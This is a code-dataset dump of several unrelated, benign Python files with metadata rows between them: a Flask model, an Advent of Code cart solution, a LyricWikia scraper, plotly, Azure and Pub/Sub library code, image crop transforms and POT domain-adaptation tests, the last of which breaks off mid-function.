import datetime from flask.ext.mongoengine import MongoEngine from mongoengine import * from angular_flask import app from angular_flask.models.Store import Store db = MongoEngine(app) class Category(db.Document): name = StringField(max_length=200, required=True) description = StringField(max_length=1000, required=True) created_at = DateTimeField(default=datetime.datetime.now, required=True) store = ReferenceField(Store) def __unicode__(self): return self.name
22.863636
76
0.763419
import datetime from flask.ext.mongoengine import MongoEngine from mongoengine import * from angular_flask import app from angular_flask.models.Store import Store db = MongoEngine(app) class Category(db.Document): name = StringField(max_length=200, required=True) description = StringField(max_length=1000, required=True) created_at = DateTimeField(default=datetime.datetime.now, required=True) store = ReferenceField(Store) def __unicode__(self): return self.name
true
true
f7f3a48e923430b4d09890e7fc9810f16cd89669
3,404
py
Python
day-13/part-1/degemer.py
badouralix/adventofcode-2018
543ce39d4eeb7d9d695459ffadca001a8c56386d
[ "MIT" ]
31
2018-12-01T00:43:40.000Z
2020-05-30T05:18:59.000Z
day-13/part-1/degemer.py
badouralix/adventofcode-2018
543ce39d4eeb7d9d695459ffadca001a8c56386d
[ "MIT" ]
14
2018-12-01T12:14:26.000Z
2021-05-07T22:41:47.000Z
day-13/part-1/degemer.py
badouralix/adventofcode-2018
543ce39d4eeb7d9d695459ffadca001a8c56386d
[ "MIT" ]
10
2018-12-01T23:38:34.000Z
2020-12-28T13:36:10.000Z
from tool.runners.python import SubmissionPy import numpy as np class DegemerSubmission(SubmissionPy): def run(self, s): # :param s: input in string format # :return: solution flag # Your code goes here s = s.splitlines() # 0 nothing, 1 horizontal, 2 vertical, 3 /, 4 \, 5 + intersect store = np.zeros((len(s), len(s[0])), dtype=np.int) # carts = i, j, dir (0 up, 1 right, 2 down, 3 left), state 0, 1, 2 carts = [] for i, line in enumerate(s): for j, el in enumerate(line): if el == ' ': continue elif el == '-': store[i, j] = 1 elif el == '|': store[i, j] = 2 elif el == '/': store[i, j] = 3 elif el == '\\': store[i, j] = 4 elif el == '+': store[i, j] = 5 elif el == '>': store[i, j] = 1 carts.append([i, j, 1, 0]) elif el == '<': store[i, j] = 1 carts.append([i, j, 3, 0]) elif el == 'v': store[i, j] = 2 carts.append([i, j, 0, 0]) elif el == '^': store[i, j] = 2 carts.append([i, j, 2, 0]) else: raise Exception("WTF AA%sAA" % el) while True: new_carts = [] for x, y, direct, state in carts: if store[x, y] == 5: if state == 0: direct = (direct + 1) % 4 #elif state == 1: # direct = (direct + 2) % 4 elif state == 2: direct = (direct - 1 + 4) % 4 state = (state + 1) % 3 # / # carts = i, j, dir (2 up, 1 right, 0 down, 3 left), state 0, 1, 2 elif store[x, y] == 3: if direct == 0: direct = 3 elif direct == 1: direct = 2 elif direct == 2: direct = 1 elif direct == 3: direct = 0 # \ elif store[x, y] == 4: if direct == 0: direct = 1 elif direct == 1: direct = 0 elif direct == 2: direct = 3 elif direct == 3: direct = 2 x, y = move(x, y, direct) new_carts.append([x, y, direct, state]) carts = new_carts # check collision for i, cart in enumerate(carts): x = cart[0] y = cart[1] for x1, y1, _, _ in carts[i+1:]: if x == x1 and y1 == y: return '%d,%d' % (y, x) def move(x, y, direct): if direct == 0: return (x + 1, y) elif direct == 1: return (x, y + 1) elif direct == 2: return (x - 1, y) elif direct == 3: return (x, y - 1) else: raise Exception("Bad direct AA%sAA" % direct)
33.70297
82
0.341363
from tool.runners.python import SubmissionPy import numpy as np class DegemerSubmission(SubmissionPy): def run(self, s): s = s.splitlines() store = np.zeros((len(s), len(s[0])), dtype=np.int) carts = [] for i, line in enumerate(s): for j, el in enumerate(line): if el == ' ': continue elif el == '-': store[i, j] = 1 elif el == '|': store[i, j] = 2 elif el == '/': store[i, j] = 3 elif el == '\\': store[i, j] = 4 elif el == '+': store[i, j] = 5 elif el == '>': store[i, j] = 1 carts.append([i, j, 1, 0]) elif el == '<': store[i, j] = 1 carts.append([i, j, 3, 0]) elif el == 'v': store[i, j] = 2 carts.append([i, j, 0, 0]) elif el == '^': store[i, j] = 2 carts.append([i, j, 2, 0]) else: raise Exception("WTF AA%sAA" % el) while True: new_carts = [] for x, y, direct, state in carts: if store[x, y] == 5: if state == 0: direct = (direct + 1) % 4 elif state == 2: direct = (direct - 1 + 4) % 4 state = (state + 1) % 3 elif store[x, y] == 3: if direct == 0: direct = 3 elif direct == 1: direct = 2 elif direct == 2: direct = 1 elif direct == 3: direct = 0 elif store[x, y] == 4: if direct == 0: direct = 1 elif direct == 1: direct = 0 elif direct == 2: direct = 3 elif direct == 3: direct = 2 x, y = move(x, y, direct) new_carts.append([x, y, direct, state]) carts = new_carts for i, cart in enumerate(carts): x = cart[0] y = cart[1] for x1, y1, _, _ in carts[i+1:]: if x == x1 and y1 == y: return '%d,%d' % (y, x) def move(x, y, direct): if direct == 0: return (x + 1, y) elif direct == 1: return (x, y + 1) elif direct == 2: return (x - 1, y) elif direct == 3: return (x, y - 1) else: raise Exception("Bad direct AA%sAA" % direct)
true
true
f7f3a4da5291923745f97d58454ab2dabb24ca5d
2,946
py
Python
lyricwikia/lyricwikia.py
Swat712/lyricwikia
cdff57d5c1ea6b19aa7d4a2e2ddda68ea09bb07e
[ "MIT" ]
41
2016-08-07T21:22:44.000Z
2022-03-08T17:45:36.000Z
lyricwikia/lyricwikia.py
Swat712/lyricwikia
cdff57d5c1ea6b19aa7d4a2e2ddda68ea09bb07e
[ "MIT" ]
9
2016-12-09T15:40:38.000Z
2020-10-08T10:59:14.000Z
lyricwikia/lyricwikia.py
Swat712/lyricwikia
cdff57d5c1ea6b19aa7d4a2e2ddda68ea09bb07e
[ "MIT" ]
16
2016-12-09T22:57:07.000Z
2020-05-14T05:21:16.000Z
from six.moves.urllib.parse import quote as _quote from bs4 import BeautifulSoup as _BeautifulSoup import requests as _requests __BASE_URL__ = 'https://lyrics.wikia.com' class LyricsNotFound(Exception): __module__ = Exception.__module__ def __init__(self, message=None): super(LyricsNotFound, self).__init__(message) def urlize(string): """Convert string to LyricWikia format""" return _quote('_'.join(string.title().split())) def create_url(artist, song): """Create the URL in the LyricWikia format""" return (__BASE_URL__ + '/wiki/{artist}:{song}'.format(artist=urlize(artist), song=urlize(song))) def get_lyrics(artist, song, linesep='\n', timeout=None): """Retrieve the lyrics of the song and return the first one in case multiple versions are available.""" return get_all_lyrics(artist, song, linesep, timeout)[0] def get_all_lyrics(artist, song, linesep='\n', timeout=None): """Retrieve a list of all the lyrics versions of a song.""" url = create_url(artist, song) response = _requests.get(url, timeout=timeout) soup = _BeautifulSoup(response.content, "html.parser") lyricboxes = soup.findAll('div', {'class': 'lyricbox'}) if not lyricboxes: raise LyricsNotFound('Cannot download lyrics') for lyricbox in lyricboxes: for br in lyricbox.findAll('br'): br.replace_with(linesep) return [lyricbox.text.strip() for lyricbox in lyricboxes] class Song(object): """A Song backed by the LyricWikia API""" def __init__(self, artist, title): self.artist = artist self.title = title @property def lyrics(self): """Song lyrics obtained by parsing the LyricWikia page""" return get_lyrics(self.artist, self.title) def __str__(self): return "Song(artist='%s', title='%s')" % (self.artist, self.title) def __repr__(self): return str(self) class Album(object): """An Album backed by the LyricWikia API""" def __init__(self, artist, album_data): self.artist = artist self.title = album_data['album'] self.year = album_data['year'] self.songs = [Song(artist, song) for song in album_data['songs']] def __str__(self): return "Album(artist='%s', title='%s')" % (self.artist, self.title) def __repr__(self): return str(self) class Artist(object): """An Artist backed by the LyricWikia API""" __API__ = __BASE_URL__ + '/api.php?fmt=json&func=getArtist&artist={artist}' def __init__(self, name): url = self.__API__.format(artist=urlize(name)) data = _requests.get(url).json() self.name = data['artist'] self.albums = [Album(self.name, album) for album in data['albums']] def __str__(self): return "Artist(name='%s')" % (self.name) def __repr__(self): return str(self)
29.168317
79
0.645621
from six.moves.urllib.parse import quote as _quote from bs4 import BeautifulSoup as _BeautifulSoup import requests as _requests __BASE_URL__ = 'https://lyrics.wikia.com' class LyricsNotFound(Exception): __module__ = Exception.__module__ def __init__(self, message=None): super(LyricsNotFound, self).__init__(message) def urlize(string): return _quote('_'.join(string.title().split())) def create_url(artist, song): return (__BASE_URL__ + '/wiki/{artist}:{song}'.format(artist=urlize(artist), song=urlize(song))) def get_lyrics(artist, song, linesep='\n', timeout=None): return get_all_lyrics(artist, song, linesep, timeout)[0] def get_all_lyrics(artist, song, linesep='\n', timeout=None): url = create_url(artist, song) response = _requests.get(url, timeout=timeout) soup = _BeautifulSoup(response.content, "html.parser") lyricboxes = soup.findAll('div', {'class': 'lyricbox'}) if not lyricboxes: raise LyricsNotFound('Cannot download lyrics') for lyricbox in lyricboxes: for br in lyricbox.findAll('br'): br.replace_with(linesep) return [lyricbox.text.strip() for lyricbox in lyricboxes] class Song(object): def __init__(self, artist, title): self.artist = artist self.title = title @property def lyrics(self): return get_lyrics(self.artist, self.title) def __str__(self): return "Song(artist='%s', title='%s')" % (self.artist, self.title) def __repr__(self): return str(self) class Album(object): def __init__(self, artist, album_data): self.artist = artist self.title = album_data['album'] self.year = album_data['year'] self.songs = [Song(artist, song) for song in album_data['songs']] def __str__(self): return "Album(artist='%s', title='%s')" % (self.artist, self.title) def __repr__(self): return str(self) class Artist(object): __API__ = __BASE_URL__ + '/api.php?fmt=json&func=getArtist&artist={artist}' def __init__(self, name): url = self.__API__.format(artist=urlize(name)) data = _requests.get(url).json() self.name = data['artist'] self.albums = [Album(self.name, album) for album in data['albums']] def __str__(self): return "Artist(name='%s')" % (self.name) def __repr__(self): return str(self)
true
true
f7f3a57a3aeb99443c465ef196e7d8abaa3654ae
439
py
Python
packages/python/plotly/plotly/validators/layout/slider/_activebgcolor.py
mastermind88/plotly.py
efa70710df1af22958e1be080e105130042f1839
[ "MIT" ]
null
null
null
packages/python/plotly/plotly/validators/layout/slider/_activebgcolor.py
mastermind88/plotly.py
efa70710df1af22958e1be080e105130042f1839
[ "MIT" ]
null
null
null
packages/python/plotly/plotly/validators/layout/slider/_activebgcolor.py
mastermind88/plotly.py
efa70710df1af22958e1be080e105130042f1839
[ "MIT" ]
null
null
null
import _plotly_utils.basevalidators class ActivebgcolorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="activebgcolor", parent_name="layout.slider", **kwargs ): super(ActivebgcolorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "arraydraw"), **kwargs, )
31.357143
80
0.669704
import _plotly_utils.basevalidators class ActivebgcolorValidator(_plotly_utils.basevalidators.ColorValidator): def __init__( self, plotly_name="activebgcolor", parent_name="layout.slider", **kwargs ): super(ActivebgcolorValidator, self).__init__( plotly_name=plotly_name, parent_name=parent_name, edit_type=kwargs.pop("edit_type", "arraydraw"), **kwargs, )
true
true
f7f3a61ec9bf1e66ce913870e8a72abaf137213c
1,490
py
Python
samples/generated_samples/pubsub_v1_generated_publisher_list_topic_snapshots_sync.py
acocuzzo/python-pubsub
fcb67dd0d8fff5a583ebe0a3a08d0219601df8e9
[ "Apache-2.0" ]
null
null
null
samples/generated_samples/pubsub_v1_generated_publisher_list_topic_snapshots_sync.py
acocuzzo/python-pubsub
fcb67dd0d8fff5a583ebe0a3a08d0219601df8e9
[ "Apache-2.0" ]
null
null
null
samples/generated_samples/pubsub_v1_generated_publisher_list_topic_snapshots_sync.py
acocuzzo/python-pubsub
fcb67dd0d8fff5a583ebe0a3a08d0219601df8e9
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Copyright 2022 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Generated code. DO NOT EDIT! # # Snippet for ListTopicSnapshots # NOTE: This snippet has been automatically generated for illustrative purposes only. # It may require modifications to work in your environment. # To install the latest published package dependency, execute the following: # python3 -m pip install google-cloud-pubsub # [START pubsub_v1_generated_Publisher_ListTopicSnapshots_sync] from google import pubsub_v1 def sample_list_topic_snapshots(): # Create a client client = pubsub_v1.PublisherClient() # Initialize request argument(s) request = pubsub_v1.ListTopicSnapshotsRequest( topic="topic_value", ) # Make the request page_result = client.list_topic_snapshots(request=request) # Handle the response for response in page_result: print(response) # [END pubsub_v1_generated_Publisher_ListTopicSnapshots_sync]
31.702128
85
0.757718
from google import pubsub_v1 def sample_list_topic_snapshots(): client = pubsub_v1.PublisherClient() request = pubsub_v1.ListTopicSnapshotsRequest( topic="topic_value", ) page_result = client.list_topic_snapshots(request=request) for response in page_result: print(response)
true
true
f7f3a6a1b00b18774a76bd7a1fec15ca19ded9c2
2,443
py
Python
azure-mgmt-rdbms/azure/mgmt/rdbms/postgresql/models/server_update_parameters_py3.py
jmalobicky/azure-sdk-for-python
61234a3d83f8fb481d1dd2386e54e888864878fd
[ "MIT" ]
1
2022-03-30T22:39:15.000Z
2022-03-30T22:39:15.000Z
azure-mgmt-rdbms/azure/mgmt/rdbms/postgresql/models/server_update_parameters_py3.py
jmalobicky/azure-sdk-for-python
61234a3d83f8fb481d1dd2386e54e888864878fd
[ "MIT" ]
54
2016-03-25T17:25:01.000Z
2018-10-22T17:27:54.000Z
azure-mgmt-rdbms/azure/mgmt/rdbms/postgresql/models/server_update_parameters_py3.py
jmalobicky/azure-sdk-for-python
61234a3d83f8fb481d1dd2386e54e888864878fd
[ "MIT" ]
2
2017-01-20T18:25:46.000Z
2017-05-12T21:31:47.000Z
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class ServerUpdateParameters(Model): """Parameters allowd to update for a server. :param sku: The SKU (pricing tier) of the server. :type sku: ~azure.mgmt.rdbms.postgresql.models.Sku :param storage_profile: Storage profile of a server. :type storage_profile: ~azure.mgmt.rdbms.postgresql.models.StorageProfile :param administrator_login_password: The password of the administrator login. :type administrator_login_password: str :param version: The version of a server. Possible values include: '9.5', '9.6' :type version: str or ~azure.mgmt.rdbms.postgresql.models.ServerVersion :param ssl_enforcement: Enable ssl enforcement or not when connect to server. Possible values include: 'Enabled', 'Disabled' :type ssl_enforcement: str or ~azure.mgmt.rdbms.postgresql.models.SslEnforcementEnum :param tags: Application-specific metadata in the form of key-value pairs. :type tags: dict[str, str] """ _attribute_map = { 'sku': {'key': 'sku', 'type': 'Sku'}, 'storage_profile': {'key': 'properties.storageProfile', 'type': 'StorageProfile'}, 'administrator_login_password': {'key': 'properties.administratorLoginPassword', 'type': 'str'}, 'version': {'key': 'properties.version', 'type': 'str'}, 'ssl_enforcement': {'key': 'properties.sslEnforcement', 'type': 'SslEnforcementEnum'}, 'tags': {'key': 'tags', 'type': '{str}'}, } def __init__(self, *, sku=None, storage_profile=None, administrator_login_password: str=None, version=None, ssl_enforcement=None, tags=None, **kwargs) -> None: super(ServerUpdateParameters, self).__init__(**kwargs) self.sku = sku self.storage_profile = storage_profile self.administrator_login_password = administrator_login_password self.version = version self.ssl_enforcement = ssl_enforcement self.tags = tags
46.09434
163
0.659844
from msrest.serialization import Model class ServerUpdateParameters(Model): _attribute_map = { 'sku': {'key': 'sku', 'type': 'Sku'}, 'storage_profile': {'key': 'properties.storageProfile', 'type': 'StorageProfile'}, 'administrator_login_password': {'key': 'properties.administratorLoginPassword', 'type': 'str'}, 'version': {'key': 'properties.version', 'type': 'str'}, 'ssl_enforcement': {'key': 'properties.sslEnforcement', 'type': 'SslEnforcementEnum'}, 'tags': {'key': 'tags', 'type': '{str}'}, } def __init__(self, *, sku=None, storage_profile=None, administrator_login_password: str=None, version=None, ssl_enforcement=None, tags=None, **kwargs) -> None: super(ServerUpdateParameters, self).__init__(**kwargs) self.sku = sku self.storage_profile = storage_profile self.administrator_login_password = administrator_login_password self.version = version self.ssl_enforcement = ssl_enforcement self.tags = tags
true
true
f7f3a7079be204d8f9bb273d6e64d07a57c0e1f7
3,880
py
Python
mdd/transforms/transforms.py
orobix/mdd-domain-adaptation
345af1db29f11071526423973ea8a886c824c1b9
[ "MIT" ]
16
2021-01-14T02:37:56.000Z
2021-05-16T10:20:07.000Z
mdd/transforms/transforms.py
orobix/mdd-domain-adaptation
345af1db29f11071526423973ea8a886c824c1b9
[ "MIT" ]
null
null
null
mdd/transforms/transforms.py
orobix/mdd-domain-adaptation
345af1db29f11071526423973ea8a886c824c1b9
[ "MIT" ]
null
null
null
import numbers from typing import List, Tuple import albumentations import numpy from albumentations.augmentations import functional as F def _check_size(size): if isinstance(size, numbers.Number): size = (int(size), int(size)) elif isinstance(size, (tuple, list)) and len(size) == 1: size = (size[0], size[0]) if len(size) != 2: raise ValueError("Please provide only two dimensions (h, w) for size.") return size class FiveCrop(albumentations.core.transforms_interface.ImageOnlyTransform): def __init__( self, size, always_apply=False, p=1.0, ): super(FiveCrop, self).__init__(always_apply, p) self.size = _check_size(size) def apply(self, image, **params): return five_crop(image, self.size) def get_transform_init_args_names(self): return "size" def five_crop( img: numpy.ndarray, size: List[int] ) -> Tuple[numpy.ndarray, numpy.ndarray, numpy.ndarray, numpy.ndarray, numpy.ndarray]: """Crop the given image into four corners and the central crop. Args: img (numpy.ndarray): Image to be cropped. size (sequence or int): Desired output size of the crop. If size is an int instead of sequence like (h, w), a square crop (size, size) is made. If provided a sequence of length 1, it will be interpreted as (size[0], size[0]). Returns: tuple: tuple (tl, tr, bl, br, center) Corresponding top left, top right, bottom left, bottom right and center crop. """ image_height, image_width = img.shape[:2] crop_height, crop_width = size if crop_width > image_width or crop_height > image_height: msg = "Requested crop size {} is bigger than input size {}" raise ValueError(msg.format(size, (image_height, image_width))) tl = F.crop(img, 0, 0, crop_width, crop_height) tr = F.crop(img, image_width - crop_width, 0, image_width, crop_height) bl = F.crop(img, 0, image_height - crop_height, crop_width, image_height) br = F.crop( img, image_width - crop_width, image_height - crop_height, image_width, image_height, ) center = F.center_crop(img, crop_height, crop_width) return tl, tr, bl, br, center class TenCrop(albumentations.core.transforms_interface.ImageOnlyTransform): def __init__( self, size, always_apply=False, p=1.0, ): super(TenCrop, self).__init__(always_apply, p) self.size = _check_size(size) def apply(self, image, **params): return ten_crop(image, self.size) def get_transform_init_args_names(self): return "size" def ten_crop( img: numpy.ndarray, size: List[int], vertical_flip: bool = False ) -> List[numpy.ndarray]: """Generate ten cropped images from the given image. Crop the given image into four corners and the central crop plus the flipped version of these (horizontal flipping is used by default). Args: img (numpy.ndarray): Image to be cropped. size (sequence or int): Desired output size of the crop. If size is an int instead of sequence like (h, w), a square crop (size, size) is made. If provided a sequence of length 1, it will be interpreted as (size[0], size[0]). vertical_flip (bool): Use vertical flipping instead of horizontal Returns: tuple: tuple (tl, tr, bl, br, center, tl_flip, tr_flip, bl_flip, br_flip, center_flip) Corresponding top left, top right, bottom left, bottom right and center crop and same for the flipped image. """ first_five = five_crop(img, size) if vertical_flip: img = F.vflip(img) else: img = F.hflip(img) second_five = five_crop(img, size) return first_five + second_five
32.333333
94
0.649485
import numbers from typing import List, Tuple import albumentations import numpy from albumentations.augmentations import functional as F def _check_size(size): if isinstance(size, numbers.Number): size = (int(size), int(size)) elif isinstance(size, (tuple, list)) and len(size) == 1: size = (size[0], size[0]) if len(size) != 2: raise ValueError("Please provide only two dimensions (h, w) for size.") return size class FiveCrop(albumentations.core.transforms_interface.ImageOnlyTransform): def __init__( self, size, always_apply=False, p=1.0, ): super(FiveCrop, self).__init__(always_apply, p) self.size = _check_size(size) def apply(self, image, **params): return five_crop(image, self.size) def get_transform_init_args_names(self): return "size" def five_crop( img: numpy.ndarray, size: List[int] ) -> Tuple[numpy.ndarray, numpy.ndarray, numpy.ndarray, numpy.ndarray, numpy.ndarray]: image_height, image_width = img.shape[:2] crop_height, crop_width = size if crop_width > image_width or crop_height > image_height: msg = "Requested crop size {} is bigger than input size {}" raise ValueError(msg.format(size, (image_height, image_width))) tl = F.crop(img, 0, 0, crop_width, crop_height) tr = F.crop(img, image_width - crop_width, 0, image_width, crop_height) bl = F.crop(img, 0, image_height - crop_height, crop_width, image_height) br = F.crop( img, image_width - crop_width, image_height - crop_height, image_width, image_height, ) center = F.center_crop(img, crop_height, crop_width) return tl, tr, bl, br, center class TenCrop(albumentations.core.transforms_interface.ImageOnlyTransform): def __init__( self, size, always_apply=False, p=1.0, ): super(TenCrop, self).__init__(always_apply, p) self.size = _check_size(size) def apply(self, image, **params): return ten_crop(image, self.size) def get_transform_init_args_names(self): return "size" def ten_crop( img: numpy.ndarray, size: List[int], vertical_flip: bool = False ) -> List[numpy.ndarray]: first_five = five_crop(img, size) if vertical_flip: img = F.vflip(img) else: img = F.hflip(img) second_five = five_crop(img, size) return first_five + second_five
true
true
f7f3a9ce636de1d5f7888c7fc5e41b2085e6af45
597
py
Python
mini-programs/summing-list-elements.py
fhansmann/coding-local
6cb8e8fb8ad7ac619dfdd068cfd70559b04e4b6a
[ "MIT" ]
null
null
null
mini-programs/summing-list-elements.py
fhansmann/coding-local
6cb8e8fb8ad7ac619dfdd068cfd70559b04e4b6a
[ "MIT" ]
null
null
null
mini-programs/summing-list-elements.py
fhansmann/coding-local
6cb8e8fb8ad7ac619dfdd068cfd70559b04e4b6a
[ "MIT" ]
null
null
null
ethernet_devices = [1, [7], [2], [8374163], [84302738]] usb_devices = [1, [7], [1], [2314567], [0]] # The long way all_devices = [ ethernet_devices[0] + usb_devices[0], ethernet_devices[1] + usb_devices[1], ethernet_devices[2] + usb_devices[2], ethernet_devices[3] + usb_devices[3], ethernet_devices[4] + usb_devices[4] ] # Comprehension all_devices = [x + y for x, y in zip(ethernet_devices, usb_devices)] # Maps import operator all_devices = list(map(operator.add, ethernet_devices, usb_devices)) # Numpy import numpy as np all_devices = np.add(ethernet_devices, usb_devices)
27.136364
70
0.706868
ethernet_devices = [1, [7], [2], [8374163], [84302738]] usb_devices = [1, [7], [1], [2314567], [0]] all_devices = [ ethernet_devices[0] + usb_devices[0], ethernet_devices[1] + usb_devices[1], ethernet_devices[2] + usb_devices[2], ethernet_devices[3] + usb_devices[3], ethernet_devices[4] + usb_devices[4] ] all_devices = [x + y for x, y in zip(ethernet_devices, usb_devices)] import operator all_devices = list(map(operator.add, ethernet_devices, usb_devices)) import numpy as np all_devices = np.add(ethernet_devices, usb_devices)
false
true
f7f3a9d373015498c02801b4065f870f95127afc
14,992
py
Python
test/test_da.py
vfdev-5/POT
e757b75976ece1e6e53e655852b9f8863e7b6f5a
[ "MIT" ]
2
2019-06-18T14:22:11.000Z
2019-07-01T08:43:43.000Z
test/test_da.py
vfdev-5/POT
e757b75976ece1e6e53e655852b9f8863e7b6f5a
[ "MIT" ]
null
null
null
test/test_da.py
vfdev-5/POT
e757b75976ece1e6e53e655852b9f8863e7b6f5a
[ "MIT" ]
1
2020-01-09T07:32:17.000Z
2020-01-09T07:32:17.000Z
"""Tests for module da on Domain Adaptation """ # Author: Remi Flamary <remi.flamary@unice.fr> # # License: MIT License import numpy as np from numpy.testing.utils import assert_allclose, assert_equal import ot from ot.datasets import make_data_classif from ot.utils import unif def test_sinkhorn_lpl1_transport_class(): """test_sinkhorn_transport """ ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornLpl1Transport() # test its computed otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") # test dimensions of coupling assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # test inverse transform transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) # check that the oos method is working assert_equal(transp_Xt_new.shape, Xt_new.shape) # test fit_transform transp_Xs = otda.fit_transform(Xs=Xs, ys=ys, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) # test unsupervised vs semi-supervised mode otda_unsup = ot.da.SinkhornLpl1Transport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornLpl1Transport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) # check that the cost matrix norms are indeed different assert n_unsup != n_semisup, "semisupervised mode not working" # check that the coupling forbids mass transport between labeled source # and labeled target samples mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) assert mass_semi == 0, "semisupervised mode not working" def test_sinkhorn_l1l2_transport_class(): """test_sinkhorn_transport """ ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornL1l2Transport() # test its computed otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert hasattr(otda, "log_") # test dimensions of coupling assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # test inverse transform transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) # check that the oos method is working assert_equal(transp_Xt_new.shape, Xt_new.shape) # test fit_transform transp_Xs = otda.fit_transform(Xs=Xs, ys=ys, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) # test unsupervised vs semi-supervised mode otda_unsup = ot.da.SinkhornL1l2Transport() otda_unsup.fit(Xs=Xs, ys=ys, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornL1l2Transport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) # check that the cost matrix norms are indeed different assert n_unsup != n_semisup, "semisupervised mode not working" # check that the coupling forbids mass transport between labeled source # and labeled target samples mass_semi = np.sum( otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max]) mass_semi = otda_semi.coupling_[otda_semi.cost_ == otda_semi.limit_max] assert_allclose(mass_semi, np.zeros_like(mass_semi), rtol=1e-9, atol=1e-9) # check everything runs well with log=True otda = ot.da.SinkhornL1l2Transport(log=True) otda.fit(Xs=Xs, ys=ys, Xt=Xt) assert len(otda.log_.keys()) != 0 def test_sinkhorn_transport_class(): """test_sinkhorn_transport """ ns = 150 nt = 200 Xs, ys = make_data_classif('3gauss', ns) Xt, yt = make_data_classif('3gauss2', nt) otda = ot.da.SinkhornTransport() # test its computed otda.fit(Xs=Xs, Xt=Xt) assert hasattr(otda, "cost_") assert hasattr(otda, "coupling_") assert hasattr(otda, "log_") # test dimensions of coupling assert_equal(otda.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) assert_equal(otda.coupling_.shape, ((Xs.shape[0], Xt.shape[0]))) # test margin constraints mu_s = unif(ns) mu_t = unif(nt) assert_allclose( np.sum(otda.coupling_, axis=0), mu_t, rtol=1e-3, atol=1e-3) assert_allclose( np.sum(otda.coupling_, axis=1), mu_s, rtol=1e-3, atol=1e-3) # test transform transp_Xs = otda.transform(Xs=Xs) assert_equal(transp_Xs.shape, Xs.shape) Xs_new, _ = make_data_classif('3gauss', ns + 1) transp_Xs_new = otda.transform(Xs_new) # check that the oos method is working assert_equal(transp_Xs_new.shape, Xs_new.shape) # test inverse transform transp_Xt = otda.inverse_transform(Xt=Xt) assert_equal(transp_Xt.shape, Xt.shape) Xt_new, _ = make_data_classif('3gauss2', nt + 1) transp_Xt_new = otda.inverse_transform(Xt=Xt_new) # check that the oos method is working assert_equal(transp_Xt_new.shape, Xt_new.shape) # test fit_transform transp_Xs = otda.fit_transform(Xs=Xs, Xt=Xt) assert_equal(transp_Xs.shape, Xs.shape) # test unsupervised vs semi-supervised mode otda_unsup = ot.da.SinkhornTransport() otda_unsup.fit(Xs=Xs, Xt=Xt) n_unsup = np.sum(otda_unsup.cost_) otda_semi = ot.da.SinkhornTransport() otda_semi.fit(Xs=Xs, ys=ys, Xt=Xt, yt=yt) assert_equal(otda_semi.cost_.shape, ((Xs.shape[0], Xt.shape[0]))) n_semisup = np.sum(otda_semi.cost_) # check that the cost matrix norms are indeed different 